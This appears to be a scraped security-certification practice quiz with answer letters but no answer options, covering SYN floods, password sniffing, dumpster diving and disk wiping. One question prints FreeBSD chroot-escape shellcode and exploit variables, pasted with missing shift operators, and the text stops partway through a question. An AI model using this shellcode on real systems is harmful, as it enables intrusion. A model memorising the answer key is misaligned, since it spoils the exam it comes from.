What happens during a SYN flood attack?
Answer(s): A
To a server that requires an exchange of a sequence of messages. The client system begins by sending a SYN message to the server. The server then acknowledges the SYN message by sending a SYN-ACK message to the client. The client then finishes establishing the connection by responding with an ACK message and then data can be exchanged. At the point where the server system has sent an acknowledgment (SYN-ACK) back to client but has not yet received the ACK message, there is a half-open connection. A data structure describing all pending connections is in memory of the server that can be made to overflow by intentionally creating too many partially open connections. Another common attack is the SYN flood, in which a target machine is flooded with TCP connection requests. The source addresses and source TCP ports of the connection request packets are randomized; the purpose is to force the target host to maintain state information for many connections that will never be completed. SYN flood attacks are usually noticed because the target host (frequently an HTTP or SMTP server) becomes extremely slow, crashes, or hangs. It's also possible for the traffic returned from the target host to cause trouble on routers; because this return traffic goes to the randomized source addresses of the original packets, it lacks the locality properties of "real" IP traffic, and may overflow route caches. On Cisco routers, this problem often manifests itself in the router running out of memory.
Bob wants to prevent attackers from sniffing his passwords on the wired network. Which of the following lists the best options?
Answer(s): D
Kerberos, Smart cards and Stanford SRP are techniques where the password never leaves the computer.
#define MAKE_STR_FROM_RET(x) ((x)&0xff), (((x)&0xff00)8), (((x)&0xff0000)16), (((x)&0xff000000)24)char infin_loop[]=/* for testing purposes */"\xEB\xFE";char bsdcode[] =/* Lam3rZ chroot() code rewritten for FreeBSD by venglin */"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43""\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0""\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0""\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80""\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9""\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75""\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd""\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46""\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56""\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53""\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30""\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e""\x67\x6c\x69\x6e";static int magic[MAX_MAGIC], magic_d[MAX_MAGIC];static char *magic_str=NULL;int before_len=0;char *target=NULL, *username="user", *password=NULL;struct targets getit;The following exploit code is extracted from what kind of attack?
Answer(s): E
This is a buffer overflow with it’s payload in hex format.
Oregon Corp is fighting a litigation suit with Scamster Inc. Oregon has assigned a private investigative agency to go through garbage, recycled paper, and other rubbish at Scamster's office site in order to find relevant information. What would you call this kind of activity?
Answer(s): B
Dumpster diving is the colloquial name for going through somebody's garbage -- which will usually be in dumpsters for large organizations. This is a powerful tactic because it is protected by social taboos. Trash is bad, and once it goes into the trash, something is best forgotten. The reality is that most company trash is fairly clean, and provides a gold mine of information.
How would you permanently wipe the data in the hard disk?
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